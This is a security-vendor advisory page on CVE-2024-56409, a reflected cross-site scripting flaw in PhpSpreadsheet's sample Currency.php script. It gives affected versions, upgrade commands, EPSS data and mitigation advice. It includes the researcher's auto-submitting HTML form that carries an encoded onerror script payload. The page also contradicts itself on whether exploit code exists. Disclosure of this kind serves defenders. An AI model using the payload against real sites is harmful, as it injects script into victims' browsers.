How severe is CVE-2024-56409?

No CVSS score has been assigned to CVE-2024-56409 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2024-56409?

CVE-2024-56409 affects the following packages: phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpexcel (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2024-56409?

Update phpoffice/phpspreadsheet to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-56409 is resolved across your whole dependency graph.

How do I detect CVE-2024-56409 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2024-56409 if there is no patch (or I can't update yet)?

Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Is CVE-2024-56409 actively exploited in the wild?

No public exploit code has been indexed for CVE-2024-56409 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2024-56409?

CVE-2024-56409 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 28th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2024-56409?

CVE-2024-56409 is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2024-56409 published, and has it been updated?

CVE-2024-56409 was published on January 3, 2025 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2024-56409 — phpspreadsheet

Fix: PHPOffice/PhpSpreadsheet@700a803

CVE-2024-56409 is a Cross-site Scripting (XSS) vulnerability in phpoffice/phpspreadsheet. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.

PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file

Also known asGHSA-j2xg-cjcx-4677

Published

Jan 3, 2025

Updated

Oct 28, 2026

Affected

5 pkgs

Patched

4 / 5

Exploits

None indexed

Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-56409.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

5 pkgs affected

🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Unauthorized Reflected XSS in `Currency.php` file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

fig9

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Affected Packages

5 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 3.0.0&&< 3.7.0	3.7.0`composer require phpoffice/phpspreadsheet:^3.7.0`
🐘Packagist	`phpoffice/phpspreadsheet`	all versions	1.29.7`composer require phpoffice/phpspreadsheet:^1.29.7`
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.0.0&&< 2.1.6	2.1.6`composer require phpoffice/phpspreadsheet:^2.1.6`
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.2.0&&< 2.3.5	2.3.5`composer require phpoffice/phpspreadsheet:^2.3.5`
🐘Packagist	`phpoffice/phpexcel`	all versions	No fix

Affected Products

1 product · 4 configurations

Application

phpspreadsheetphpoffice

≥ 3.3.0 && < 3.7.0

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpoffice/phpspreadsheet to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-56409 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

# Unauthorized Reflected XSS in `Currency.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component*

O3 Security · Impact-Aware SCA

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